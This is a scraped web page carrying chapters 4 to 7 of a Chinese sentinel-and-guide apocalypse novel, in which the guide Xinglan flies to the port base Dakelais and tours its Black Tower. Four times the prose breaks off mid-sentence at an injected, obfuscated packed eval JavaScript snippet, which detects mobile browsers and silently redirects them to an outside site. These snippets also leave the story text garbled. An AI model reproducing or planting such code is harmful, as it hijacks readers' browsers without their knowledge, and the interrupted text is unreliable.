即使哨兵相比于向导晋升要容易些，如今基地里加起来能到A级的哨兵也不足五十人，毕竟能为他们做精神疏导的向导只会更加稀少，不少高级哨兵都在无尽等待中完全失控，或是被污染彻底异化，再也没能找回人性。 而有幸得到治疗的A级哨兵，为了保持更好的战斗状态，平时都会待在各自的哨塔里，只在异变生物来犯时出没，今天一连见到两个A级，这算是第五区对她这个向导的看重吗？ 可她现在的状态，哪里值得第五区如此大费周章？ 星岚觉察到些许异样，也隐约明白了带队哨兵为何态度如此任性嚣张，甚至敢直接堵门。 队友实力在线，他们又手握总指挥官亲自下发的调令，确实有在基地横着走的能力，看老师之前的态度，这种队员配置大概率也不是所有交接区都有的，而是第五区独一份。 得出这个结论后，星岚心中对即将前往的目的地好奇度又加深了。 思索间，随着埃布纳重新抬头，一双沉静的淡红色眼眸宛如丝绒礼盒打开后中心露出的宝石，映着顶灯闯入了她的视线范围，那是只闪烁于他眼中的璀璨。 星岚呼吸微缓，思绪却转得更快了。 住院后，她还没来得及看自己的匹配度测试结果报告，现在第五区的哨兵坚决带走她，想来他们已经了解过，或许，和她匹配的人数还不少。 面前两位哨兵会包括其中吗？ 目光划过两人虚握的指尖，星岚尝试调动精神力，闷痛自大脑最深处传来，她脸色微不可见地白了一分，指尖不受控制地轻颤似乎引来了误会，埃布纳松开了她的手。 “看来我们的小向导还是更喜欢我。”萨姆搭着好友的肩膀在一旁挤眉弄眼，笑容自得。 埃布纳眉梢微挑，他和萨姆都长了一双仿佛自带眼线的漂亮眼睛，不过相比之下他眼尾弧度要圆一些，看起来更温润，而萨姆笑起来则多了几分狡黠，眼下还有一颗浅淡的红痣。 尤其此刻自觉胜了一筹，萨姆更是抓紧时间嘲笑老朋友，埃布纳看着向导淡定依旧的神情没有接话，仗着比萨姆高小半个头，反手抓住他后脖颈就把人拉走了。 萨姆还想挣扎，埃布纳直接给他使了个眼色，不远处，属于领航员的位置上，阿奇伯德靠坐在椅背上，侧头似在倾听一旁哨兵汇报准备工作，但注视感的源头同样指向他，哪怕是此刻，依然不曾收回。 到底不是自家人领队，萨姆收敛了闹腾劲，老实不少。 不知道为什么，他对阿奇伯德这位对空部的老大总有些难言的畏惧，不止是硬实力的差距，对方身上还有一种处于食物链上位者的威胁感，本能在警告他离这个不好惹的男人远点。 另一边，等星岚大脑内的痛感减轻，眼前视野已经没了遮挡，她的目光同样落在阿奇伯德身上。 没有丝毫杂质的纯白碎发下，年轻哨兵依旧戴着那张鹰眼面具，看样子没有要摘的意思，他两臂随意搭在身侧扶手上，微仰着头，露出棱角清晰的下颌线，无处安放的长腿自然交叠在身前，驾驶舱内款式相同的航空椅，在他身下硬生生多出几分低调的华贵气息。 据说哨兵里一贯奉行强者为尊，阿奇伯德能成为领队，意味着他只会比萨姆和埃布纳更有实力，可那两人都已经是A级，星岚心底蓦然浮现出一个大胆的猜测。 莫非，他是传说中的S级？ 可惜这个答案暂时没人能告诉她。 “你好，星岚向导。”身旁，另一道略有些熟悉的声音传来，打断了她的思路。 星岚转头，看见了一个青年，及耳的黑发挑染着几缕黄与白，左侧还有一缕白发长至胸前，被扎成了辫子。 他五官算不上出彩，但嘴角笑容给人如沐春风的舒适感。 “我是卡维斯，一名普通侦察兵，目前临时担任这架运输机的无线电操作员。” 星岚记起来了，不久前差点和马吉撞上的就是这个人，之前他戴着面罩，所以声音有些发闷，现在没了遮挡，声音里那股奇特的韵律感顿时变得更加清晰。 笑起来时，卡维斯的眼睛几乎弯成了一条线，让人能轻易感受到他的友好，这种轻松的交往态度让星岚也跟着放松不少，甚至下意识想要回一个微笑，但想到自己过去强行微笑时的灾难表现，她无奈放弃了这个决定。 卡维斯没有在意向导的沉默，而是掏出一个蓝色海螺递给她，笑语盈盈道：“希望这份迟来的见面礼还算讨您的喜欢。” “大爷的，这死小子居然抢跑！” 萨姆调试着自己身前的操作键，余光却一直停留在向导身上，注意到卡维斯的动作后，他当即和旁边的埃布纳小声骂骂咧咧。 说好的等飞机落地后再公平竞争呢？ 领航那位都还没动作呢，那小子竟然敢直接抢先手！ “老说我狡猾，监察会这帮人可比我行事奸诈得多，平时还喜欢钓鱼执法，这不是明摆着欺负我们老实人！” 埃布纳手里动作没停，转头上下扫视萨姆。 老实人？ 刚是谁不顾规矩第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421641|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个跑去自我介绍，还想占小向导便宜来着？ 萨姆悻悻收声，安静两秒，嘴里忍不住又开始嘀咕：“这都上飞机了，提前认识一下怎么了？” 总不能真等到了基地里，再和那百十来号不讲武德的牲口们抢小向导的关注吧，他们费劲吧啦争这个接人名额，不都是想趁着人少的时候，先提前给小向导留下个印象。 埃布纳懒得理会他，专注自己手头的工作，向导的初印象固然有用，但她现在还有伤，一时半会儿很难将高级哨兵们加入治疗名单，比起送她些并不实用的见面礼，寻找能治疗她精神力紊乱的方法才是最重要的。 港口倒是有精神力修复药剂的存货，但那些药剂只适合哨兵使用，市面上一直没有针对向导精神力暴动的特效药，研究院里倒是有样品，可副作用太多了，强行使用无异于杀鸡取卵，最终不过是自取灭亡。 星岚向导是第五区所有人的希望，她不能再出现任何意外了，想到这次入队前签下的保密协议，埃布纳敲击键盘的动作慢了些，眼底眸光有一瞬晦暗。 当拿出见面礼时，卡维斯算是体会到了什么叫如芒在背，但他嘴角笑意不改，甚至又同小向导说了几句话才离开。 转身的刹那，卡维斯对上了阿奇伯德略显阴沉的目光。 在第五区，监察会是独立于陆战部和对空部两个部门之外的存在，同时，他们才是最早存在于第五区的哨兵部门，近年来，随着哨兵的数量不断增多，监察会如今除了最初的职能外，还增加了监管第五区所有哨兵的权力。 会长毕夏普早在数年前便已经晋升S级，只要他还在，监察会成员几乎谁的面子也不用给。 毕夏普为人严苛冷酷，完全不讲人情，第五区里对他不满的大有人在，但大伙又打不过他，只敢背地里悄悄骂上一句暴君。 而卡维斯名义上只是这次行动队的队员，实际上却是监察会派来的眼睛。 阿奇伯德看着朝自己颔首的卡维斯，面具下神情满是漠然，果然，毕夏普带出来的人，和他一样叫人生厌。 高层已经明摆着要放弃第五区了，这位兢兢业业的监察长却依旧恪守着那些足以埋入黄土的陈旧规矩，若再不做出改变，早晚有一天第五区会毁在这个人手里。 安全带扣紧的咔哒声里，阿奇伯德抬手示意身旁的巴里特和赫尔曼去主副驾驶位做准备，同时自己转过椅子正对操作台。 没有时间再浪费，他们该出发了。 星岚右边的航空椅里，马吉好不容易做完心理建设，下一秒，驾驶舱内忽然响起的指令让他重新泄了气。 将掌心已经捂热的毛毡玩偶收回衣兜里，马吉无声垂下脑袋，没有把握住机会，他对不起拉德大人的栽培。 灰褐色短发宛如倒扣的毛绒帽子，遮住了马吉沮丧的表情。 “你还好吗？” 向导的声音忽然自耳边响起，马吉猛然回神，当他抬起头，看见的是向导朝自己摊开的手掌，一颗气味甜腻的奶糖正放在她掌心。 而面朝他的包装纸上，印着一只憨态可掬的兔子。 马吉脸颊腾地红透了。 5. Capt.5 在这间不算大的驾驶舱里，几乎什么动静都逃不过哨兵们的眼睛和耳朵。 萨姆与马吉背对而坐，中间还隔着两米宽的走道，但即使向导已经刻意压低了声音，他依旧能听得清清楚楚。 萨姆瞥了眼自己侧后方的卡维斯，酸溜溜的语气里多了些幸灾乐祸，“给小向导送礼算什么，收到她亲手送的礼物，那才叫真本事。” 那颗看似平平无奇的糖，实则代表了小向导主动接纳的信号！ 只是没想到头筹是被马吉这个一直闷不啃声的家伙先拿到手，萨姆摸了摸自己的脸，他才二十多岁，已经要开始担心自己年老色衰，不够吸引小姑娘了吗？平时他在异性圈子里还是挺吃得开的呀？ 埃布纳没有打断好友的碎碎念，将胳膊撑在额头边，在对方看不见的视角里轻按了两秒头戴式耳机。 降噪模式成功启动，发动机的轰鸣与好友没营养的废话都被一键排除在外，令人舒适的安静里，埃布纳偶尔应付性朝好友笑一笑，就又扭头看向自己身前的面板，像是还在工作。 但实际上，飞机已经进入正常起飞阶段，在上升遇到气流颠簸或是其他异变生物袭击的危险前，他都可以尽情摸鱼。 接下来，就只需要等其他听不下去的人制止萨姆了。 毕竟队伍里的哨兵最低都有B级，他这音量和贴着人耳朵说话没什么区别，埃布纳心底感慨，所以萨姆出门经常挨揍不是没有理由的。 当面蛐蛐人，不被揍就怪了。 没两分钟，耳麦内置的语音通道里果然传来了领队低气压的声音：“安静！” 这声过后，埃布纳借着转头的动作，将耳机重新调回通用模式，几乎让人耳鸣的噪音瞬间袭来，埃布纳的神色却分毫未动，还是如往常一般表情轻松地朝好友耸了耸肩膀，表示自己爱莫能助。 队长虽然没明说，但他们都知道，等萨姆回到港口之后，几场训练赛是跑不了的，甚至因为是老惯犯了，还得再加强度。 作为陆战队最出名的塑料兄弟，埃布纳和萨姆自有独特的的相处模式。 好兄弟，有福我享，有难你当。 这种坚持互坑的精神，一度令数位被无辜牵连的战友感到动容，并坚决远离这对坑货，这也是两人被陆战部全票通过参加这次外派任务的真正原因之一。 可惜，当事人对此毫无自知之明。 而且任务来回不过一天，早上敲锣打鼓送走的瘟神，晚上就要重新迎回来。 港口陆战部哨兵的心情和想法暂且不论，成功升入指定航道的飞机里，星岚看着舷窗外越来越远的地面建筑，心底不免怅然。 往日位于基地中心，仿佛支撑着天地的黑色巴别塔，此刻在她的眼里逐渐变成了一个墨点，飞机仍在上升，抬高的视野里，星岚第一次看见自己生整整活了四年的基地全貌。 这座供养着近四千万普通民众的人类基地是以黑塔为中心建成的，越往外，高楼越少，建筑也越稀疏，基地最外围则是首尾相连的高耸城墙。 它们阻拦着从荒原上袭来的危险。 在过去的一百多年里，哨兵们也是沿着这片荒原，将人类基地不断向外扩张，最终变成今天这般规模。 可基地资源终究是有限的，当它不再满足日益增长的人口需求，哨兵们开始在更远的地方建立交接区，并定期围剿交接区与基地之间的异变生物。 一方面交接区自给自足可以减少对基地资源的损耗，另一方面，有了交接区作为缓冲地带，可以有效减轻兽潮到来时，给中心基地造成的影响，同时还能解决哨兵失控对普通民众造成的安全威胁问题，可以说是一举三得。 等到未来人口进一步增长，中心基地需要再度扩张时，就可以通过现在的交接区，建造新的外城墙了。 但这只是基地发展最理想的状态。 无孔不入的污染依旧是人力无法解决的难题。 飞机在轰鸣声里直冲云霄，但云上的场景绝非星岚记忆中的温暖绚丽，下方的灰白色云团仿佛破败的棉絮堆叠，散发着令人窒息的霉味与潮气，视线尽头照过来的阳光，刺不破头顶又一层似在积蓄雷暴的阴云。 记忆里的蓝天白云，如今成了历史记载里的一张老照片。 驾驶舱里，哨兵们的神情都严肃了起来。 阿奇伯德观察着航线图上被雷达标记出的密集红点，比起若有似无的雷暴，这些飞行类异兽才是对他们最大的威胁。 好在，“只是低级异兽群聚，威胁等级C-，加速冲过去。” 飞机自带的声呐武器与中心基地同源，是七十年前老一辈研究员的成果，又被现在的研究院改进后，可以直接模拟A级猛禽黑白兀鹫狩猎的声音。 即使身体结构发生异变，动物趋利避害的天性依旧存在。 红点轰地散开远离，只零星几只闪躲不及，撞在高速前进的飞机上。 风挡玻璃忽然发出一声砰响，坐在副驾位的赫尔曼浑身一颤，他下意识屏息，目光紧紧盯着贴在自己眼前玻璃上的山鸦。 黑色山鸦的体型比异变前大了三倍有余，但在飞行类异变生物里，依旧算得上小巧，此刻它已经被撞得完全变形，喷涌出的血液沾在玻璃上，是和它羽毛一样带有绿色金属光泽的黑。 它应该是死了，可赫尔曼又分明看见它那双无机质的黑色眼睛里，粘稠的混沌和凶恶仍在肆意流淌，眨眼间，它们穿过玻璃，与他体内的骨血相相勾连，濒死的痛苦随之传递，他的身体不自觉开始痉挛。 主驾上，巴里特第一时间发现了身旁的异常，“赫尔曼，闭眼！” 他的声音雄浑如钟鸣，瞬间震回赫尔曼的一丝神智。 流淌于四肢的幻痛逐渐消失，赫尔曼靠在椅背上，嘴唇仍有些发白，他压抑着喘息，重新抬头看向风挡玻璃，那里，山鸦的身体已经消失，只有已经干涸的血迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421642|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证明它确实存在过。 “抱歉，哥。”赫尔曼按着仍有些灼痛感的眼眶，语气颓然，明明是双胞胎，可他永远做不到像兄长一样意志坚定。 赫尔曼无力合眼，他从来都不是一个合格的哨兵。 巴里特捏着驾驶杆，抿唇没有说话。 副驾的椅背忽然被人轻叩了两下，力道不大，但足够让兄弟二人听清楚，赫尔曼沉默着解开安全带，起身和已经站在副驾旁的卡维斯换了个座位。 “真可惜，看来这次的试胆又失败了。”卡维斯坐到副驾位后，并没有做什么动作，他将胳膊支在扶手上，闲适地托着下巴轻语。 反正以巴里特的实力，副驾其实可有可无。 卡维斯的音量控制比萨姆要熟练地多，至少，这句话只有巴里特一个人听见了。 巴里特按着驾驶杆的手略微收紧，不明白对方说这话的用意，他目视前方，同样压低了声音，“你想表达什么？” “别紧张。”卡维斯看了眼风挡玻璃上的血渍，嫌恶地移开视线，另一只手绕着胸前的辫子，他声音依旧柔和，“我只是有些无聊了，你知道的，监察会虽然从不滥用职权，但依然风评不佳，还连累我这一路上一个能说话的人都没有。” 巴里特不是脑力派，于他而言，和聪明人打交道时，保持沉默是最行之有效的方法。 但事关弟弟，他不得不调动起自己不算多的脑细胞，一字一句拆解对方话里的意思，卡维斯是监察会的核心成员之一，会被其他部门的人排斥并不叫人意外，毕竟谁也不希望自己因为某句话隔天就出现在监察会的禁闭室里。 “我以为，会长和拉德大人的关系还算友好，作为他们的下属，我们应该也会有共同话题，比如，向导接下来的具体安置问题？” 视线掠过巴里特绷紧的下颌，借着主副驾中间的空档，卡维斯回头看着后排的小向导，她似乎并没有被不久前的意外吓到，这会儿仍专注看着舷窗外，周身气息静谧安稳，只是看着她，就仿佛整个世界都安静下来，这无疑是哨兵们最为渴求的状态。 所以旁边那几人，余光几乎都没离开过她。 卡维斯眼睛睁开了些，下一秒，就见向导朝自己看了过来，他怔了下，旋即再度笑眯了眼，和对方轻轻颔首示意后，才重新回头坐稳。 真是敏锐的感知力，几乎都比得上哨兵了。 卡维斯嘴角弧度不断加深，所以她应该也注意到其他哨兵的视线了吧，可她偏偏什么也没说，这种放任的态度，无疑会放大哨兵们本就按捺不住的欲望。 希望小向导已经有招架他们的方法，否则——可是会被贪婪的猎犬们拆吃入腹的。 冰冷幽暗的鱼影在指尖一闪即逝，卡维斯朝着看过来的巴里特微微一笑，继续之前的话题，“没记错的话，拉德大人在中央街购置的听潮苑，已经空置很久了吧？” “不知道他有没有割爱的想法？” 6. Capt.6 作为一座港口基地，达克莱斯的天总是灰蒙蒙的，像是海面经年不散的浓雾被阳光蒸腾至云端，模糊了原本的天空。 朦胧的日光里，海风自由穿梭在大街小巷，留下一连串咸湿的水腥气。 星岚从飞机上下来后，第一眼看见的依旧是远高于周围其他建筑的黑塔，它仿佛地标一般，屹立在每一座人类基地的中心，但除了通体呈黑色，这座塔形建筑的外观并非一成不变。 交接区与中心基地的区别，也由此初步显现。 按照惯例，刚回基地的哨兵们都需要先做一次精神力和污染度检测，并在观察室内待够24小时，才能重新自由活动。 机场出口，身形挺拔的军装青年接手了推轮椅的工作。 “我是欧斯卡，B级哨兵，负责引导您熟悉并融入这座新基地的接引员。” 有着蓝紫色短发的年轻哨兵这样自我介绍道。 “欢迎加入达克莱斯，星岚向导。” 他推着鼻梁上特制的遮光眼镜，眼底没什么笑意，“按照你们秩序区的叫法，或许您更习惯称呼这里为黑港？” 星岚听出来了欧斯卡并不算友善的态度。 但不管是第五区，亦或是达克莱斯和黑港，其实她都是在今天才第一次听说。 而这样的答案显然并不是对方想听见的。 万万没想到，自己在达克莱斯面临的第一个问题居然是地域之争，这让星岚有些哭笑不得，她干脆反问：“欧斯卡先生更希望我能使用哪个称呼？” 无言的沉默蔓延开来。 星岚也不急，将灌风的领口收紧一些后，她抬眼打量着四周。 这里的气温比中心基地高不少，但因为有风，体感温度反而要低上一些，更让她意外的是，熟悉的灰白路面旁，竟然多了丛眼熟的绿色。 这样的绿，在中心基地是看不见的。 生物的异变自然也包含植物，但最初的人类幸存者们并未对此产生足够深的认知，以至于第一座安全基地便覆灭于墙角路边随处可见植物之中，自那以后，重新建立的人类基地几乎再没了它们的踪迹，哪怕研究院现在已经确定了一批无害的植物品种，普通民众依旧避之如蛇蝎。 除了研究院，也就只有哨兵所在的交接区，才能重新见到这些绿色的生命了。 注意到向导长久停留的目光后，欧斯卡略作迟疑，还是朝不远处已经等在汽车旁的哨兵们打了个手势，自己将她推向了路边那一小片绿化丛，确定向导没有排斥的意思，他停下轮椅同她介绍道： “这是桨酢草，目前移栽成活率最高的植物，等天气再暖和些还会开花，不过您放心，它们都不具备污染人体的能力，只是繁殖速度比较快，所以需要有人定期修剪……” 石砖旁，细弱的草茎深深扎根泥土之下，在微风中轻轻摇曳，星岚凝视着层叠的心形叶片，指尖微动。 比起学名，她还是更熟悉它的另一个名字—— 三叶草。 据说，它们只有十万分之一的可能性基因突变为四叶草，在前世，四叶草因此成为了公认的幸运象征。 年少时，星岚也曾数次趴在路边草丛中，试图抓住那一丝幸运，可惜直到末日降临，她也没能成功找出一株四叶草。 如今近十年过去，星岚早已忘了当初一定要找到幸运草的决心，但这一刻，看着路边簌簌起舞的四叶草丛，她心头忽然涌起了一道名为恍如隔世的情绪。 在她因为找不到四叶草，失望气馁时，妈妈曾说，四叶草依旧藏在世界的某个角落，终有一天，她会找到属于自己的幸运。 如今，前世遍寻不得的四叶草扎堆出现在眼前，星岚却有些迷茫了。 当三叶草全部变成了四叶草，它们还能代表幸运吗？若促成它们全部发生基因突变的是污染，那污染又到底意味着什么？ 陌生的世界里，没人能回答她这些问题。 星岚垂眼收回视线，没关系，她会自己找到答案的。 除了最初的言语试探，欧斯卡算得上一位合格的接引员，发现向导对街边植物更感兴趣后，他便直接放弃了原来计划的路线，带着星岚先了解了一遍港口移栽成功的绿植，顺带介绍着沿途的建筑布局与地区限定常识。 只看地理位置，达克莱斯港与其他交接区最大的不同是，这里三面环海，只剩西北方向连通着内陆，所以，这里几乎没什么陆地上的生物威胁。 真正的威胁都来自深海里。 “如非必要，还请您尽量不要独自靠近海岸线，尤其是在涨潮的时候。” 事关向导安危，欧斯卡语气格外严肃慎重。 “黑塔每半月会更新一次潮汐时间表，如果您实在好奇，可以向黑塔申请在非涨潮时间由哨兵陪同前往海岸附近参观。” 星岚点头表示理解，就像内陆基地会定期出现兽潮，港口外围也会定期出现海兽潮，她现在只是一个行动不便的脆皮向导，自然是待在大后方更安全。 见向导不像是好奇心旺盛的人，欧斯卡心底也狠狠松了口气，他不是第一次给向导当接引员了，但上一次已经是他来第五区之前的事，两死一伤的结局自然算不上美好。 实习向导们都不过十八九岁，正是年轻好动的时候，又是在象牙塔里长大的王子公主，根本不明白自己不合时宜的好奇心，会给自己和身边人带来多大的危险。 这次因为“有经验”被安排来给新向导做接引员，欧斯卡顶着巨大的心理压力，幸好，这次的实习向导看起来不是个自负的小公主，性子冷点没事，就怕她主意大还不听劝，让悲剧重演。 简单介绍了一下基地情况后，欧斯卡带着星岚去了她接下来生活和工作的主要地点——黑塔。 第五区过去没有向导留守，只有研究院定期送来的精神类药剂，因此也没有建立完善的向导治疗体系，三方主事人面谈之后，一致决定在黑塔第一层找个合适的房间，再去最近的第二交接区抢……借了一批医用物资过来，这才搭建出基础的治疗室雏形。 当然，以上内容自然是不能直接对向导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421643|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的。 欧斯卡用自己的身份牌刷开黑塔正门，领着星岚往里走的同时介绍道：“您的治疗室位于一楼A区内层031，目前已经配备了基础治疗设施，如果您觉得还有什么缺漏，可以直接告知我或是去大厅找值班前台，我们会尽力满足您的合理需求……” 黑塔内的光线不算明亮，毕竟这栋建筑诞生之初就是为了削减外界对哨兵的五感冲击，一应设施自然是以哨兵的体感为主，但前往治疗室的墙壁下方却多出了数道明亮的线性光圈，照亮星岚前进的路。 “黑塔公共区域有着统一管理的恒温系统，只有内部房间可以单独调节温度，您可以选择一个自己最舒适的温度。” 欧斯卡说着，打开了A031的房间门。 头顶嵌入式的圆形顶灯感应到大门打开后，自动亮起，极高瓦数的白光打下来，几乎瞬间照亮了整个房间。 这是个约摸二十平方的房间，南北走向，整体呈蓝白色，入口处贴墙摆着转角办公桌，是给向导整理和收录当日治疗档案的地方，此刻上面只放着一台液晶电脑，以及日常会用到的各类纸和笔，侧面贴墙放着的是两张档案柜都空着。 办公桌对面是一组贴墙摆放的沙发和茶几，旁边立着配有净水器，穿过L型隔帘再往里是一张可供单人躺倒的治疗床，床头悬挂着检测器的显示屏，向导可以通过显示屏上的数据，随时观察哨兵身体状况，以便及时调整治疗手段和节奏。 “治疗床是研究院出品的最新款，可以自由调节高度，通体采用的是硬度更高的碳化钨，可以有效阻止哨兵在治疗时，因为痛苦过度挣扎，影响到治疗效果。” 欧斯卡说着，掀起治疗床上的白色被单，露出下面冰冷的金属镣铐与拘束带。 “床边的医用车上还备有普通医疗用具和强效麻醉剂，就算是A级哨兵也会在吸入麻醉剂后的五秒内陷入昏睡，您无需担心个人安全问题，在您工作期间，附近还会有监察会的成员留守，一旦发现哨兵失控，他们会第一时间进来制止并带走失控哨兵。” 有关精神治疗的手段欧斯卡没有过多解释，毕竟这方面，向导才是专业的，他只是将房间内准备的各类医疗制品摆放位置及室内设置的警报与反制手段一一讲给星岚听。 星岚跟着欧斯卡的引导将屋内设备全部检查了一遍，确认无误后，她问起另一个问题：“我该怎么选择治疗目标？” 如何治疗和应对失控哨兵的准备目前都很完善了，所以现在最大的问题，只剩下她自己没能收到的匹配度测试结果，刚一路走来，星岚也特别留意过，但并没有发现有匹配度检测设备的影子。 没有匹配度做参考，她很可能连第一步精神力共鸣都无法做到，更别提后续打开屏障，深入哨兵精神海进行疏导治疗了。 欧斯卡听见这个问题，脸上却露出一个略显奇异的笑，“您只要在工作时打开电脑，自然就会收到当日的治疗申请名单，至于治疗顺序如何决定……” “那就要看他们谁有这个荣幸，先入您的眼了。” 7. Capt.7 星岚的目光随着欧斯卡落在办公桌的电脑显示屏上。 由于位于荒原之中的信号基站时常会遭到异变生物们的攻击，所以公共网络卡顿延迟或信号丢失都是常事，但基地内网就没有这方面的烦恼了，电脑依旧是最主流的办公软件。 不过星岚目前还没有接单的想法，虽然心底好奇欧斯卡话里的意思，奈何现在的身体完全不允许她造作。 欧斯卡显然也清楚向导现在的身体情况，没有着急催促她上工，而是推着星岚离开了治疗室，先去了一趟二楼。 两人敲门进入办公室时，坐班的哨兵还在伸着懒腰打哈欠，他应该是刚刚才被敲门声吵醒，原本蓬松的玫红色卷发此刻已经乱成一团，浅蓝色眼睛里满是水雾，白皙的娃娃脸上残留着桌子压出来的睡痕。 “西莫，今天是你值班？我带星岚向导来办一张单人通行卡。” 欧斯卡对西莫这幅睡不醒的状态习以为常，问候一句后，直接说明自己的来意。 “伊昂去帮拉赫尔收集食材了，我替他坐会儿班。”西莫单手揉着眼睛回他，另一只空闲的手拉开抽屉，从一堆乱七八糟的东西堆里精准取出张黑色通行卡。 伸手将通行卡推至办公桌对面的向导面前，西莫嗓音里带着些许含混，“呐，你的。” 星岚礼貌道谢后，将这张不知道什么材质做成的通行卡拿在指尖，好奇打量着，黑塔的通行卡原来是可以直接发放，不需要绑定个人信息的吗？ “不客气。”西莫语调绵长，话音未落，整个人已经重新趴回了桌子上。 眼看他就要再度进入梦乡了，一旁，欧斯卡轻咳了一声，不好意思道：“我忽然有些问题想现在和西莫聊一聊，星岚向导，您先在塔里随意参观一会儿，十分钟后，我在一楼正厅等您可以吗？” 星岚扫了两人一眼，没有意见，不过她还是自觉问了一句：“塔里有什么不对外开放的区域么？” 她这样问，自然是想避开麻烦，欧斯卡也明白向导的意思，但他目光扫过星岚手中代表最高权限的黑色通行卡，摇了摇头，“您可以随意参观，不过……” 他提点了一句：“黑塔上层是生活区，会有部分污染超出临界值的哨兵出没。” 在向导学院待了三年，星岚很清楚欧斯卡口中的超出临界值意味着什么，是身体无法停止的畸变异化和日益减少的理智，像这类哨兵基本已经半脱离正常的人类生活了。 如果是一周前，星岚或许会尝试将他们也加入治疗名单，可现在，她已然有心无力。 星岚朝欧斯卡点点头表示知晓，先一步离开了办公室。 这间办公室位于黑塔二楼外层，出来后，正对着的就是黑色玻璃幕墙，它们可以在隔热隔音的同时减少强光对哨兵眼睛的刺激，但对于感官正常的向导来说，这样的环境就显得过于安静和幽暗了。 过去数年的生活经历让星岚习惯了保持缄默，可习惯不等于喜欢，尤其置身于近乎绝对的安静中时，她越发觉得，自己还是更爱喧嚣一些的世界。 脑海回忆着摆在大厅里的布局图，星岚没在原地多做停留。 达克莱斯的黑塔比中心基地的矮上不少，但也有近五百米的高度，一共修建了121层，其中1-30层是对外办公区域，31-90层是普通哨兵们的活动区，除了宿舍，还包含餐饮、娱乐、训练等多功能服务，足以满足哨兵们的大部分需求。 再往上就是欧斯卡所说的生活区了，那本是三位S级哨兵的地盘，近年来随着畸变异化的哨兵不断增多，他们相继被迁往更高层，既是看管，也是一种保护。 也因此，从91层开始，黑塔彻底成了闲人免入的禁区。 但这条禁令显然并不对基地内唯一的向导生效。 而星岚对此毫不知情。 她只是学着欧斯卡，进电梯后先刷了一下手里的通行卡，便试探性按下了数字9，按键亮起，电梯很快开始上行。 【嘀——9层到了。】 轻柔的电子提示女声响起，电梯们打开，星岚按照记忆里的图示朝着一个方向前进。 沿途依旧安静到近乎异常，仿佛整层楼里就只有她一个人，但被注视的感觉，从她进入走廊的第一秒开始就没消失过。 他们正在暗处观察她。 指尖一道微弱的缠绕感忽然传来，星岚不由自主顿了下，她低下头，看见了一缕垂落在腰前的发丝正沿着她的指尖攀爬。 显然这并不是她的头发，而是一根与她发色相同的触腕。 “小乌，你终于醒了。”星岚见状不惊反喜，摊开手掌任由那根触腕借力，很快，一只通体呈绣红色的乌贼完整出现在她掌心。 正是她的精神体，深海霸主之一——大王乌贼。 在这个世界里，凡是觉醒了精神力的人，都会拥有伴生的精神体，它们多以动物形态出现，是觉醒者力量属性的具象化，更是战斗与治疗时的绝佳助力。 哨兵们无法控制精神力，却可以操控自己的精神体辅助作战，二者五感共享，实战中往往可以发挥出一加一大于二的效果。 向导与精神体的通感没有哨兵那般强烈，但通过直接的精神体接触，可以帮助哨兵更快放松，在双方没有时间培养信任度时，仅靠精神体就能大大增加精神疏导的成功率和效率。 而且对向导来说，精神体就像一个外置的能力净化器，靠它吸收的精神力更稳定且安全。 但精神体的强度是和觉醒者的精神力呈绝对正相关的。 便如现在，由于星岚精神力紊乱，本该有数十米长的大王乌贼就只剩巴掌大小，而且自从星岚住院以后，它就一直在精神海里温养，这会儿不知道为什么自己突然跑了出来，一般来说，没有主人的召唤，精神体是不会自主行动的。 可能这也是精神力暴动的副作用？ 尝试将小乌收回精神海失败后，星岚有些担心地将自家精神体拢在手心，身下轮椅的速度加快了些。 她之所以选择来第9层，是因为港口的医疗中心在这里。 虽然主要治疗哨兵在战斗中受到的物理伤，但作为医疗中心，应该存有精神类药物应急，她在来港口之前倒是有在中心医院拿药，可这类药物售价高昂且有单次购买量限制，所以，星岚想着，在手头的药吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421644|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完前，她先提前了解这边的药价，顺便确定下自己的信用点还够不够支撑下一次买药。 小乌的提前苏醒称得上是意外之喜，星岚本还以为它至少要沉睡到第一期药物疗程结束。 